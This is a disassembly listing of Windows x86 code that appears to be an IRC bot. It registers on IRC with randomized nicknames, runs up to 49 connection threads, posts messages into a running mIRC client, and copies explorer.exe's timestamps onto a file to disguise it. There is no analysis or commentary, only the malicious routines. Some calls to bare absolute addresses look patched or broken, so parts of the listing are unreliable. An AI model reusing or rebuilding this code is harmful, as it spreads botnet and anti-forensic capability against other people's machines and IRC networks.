loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46C4[esi]
		mov	dword_4D46B8[esi], edi
		push	dword_4D48C4[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46BC[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46BC[esi]
		call	dword_4CB674
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46BC[esi]
		call	dword_4CB63C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D46BC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D46B8[esi], ebx
		mov	esi, dword_4D46BC[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB6BC


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D46B8


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DADD8
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46C4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48C4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46B8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385B0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382B0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_4385B0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 2670E94h
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27C0000h
		nop
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DADDC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CB614
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	near ptr 27D05A8h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27D0000h
		call	dword_4CB678
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB630
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27E018Ah
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB680
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB680
		push	ebx
		nop
		call	near ptr 27D0AC6h
		push	edi
		nop
		call	near ptr 2650937h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB6E0
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E0880h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
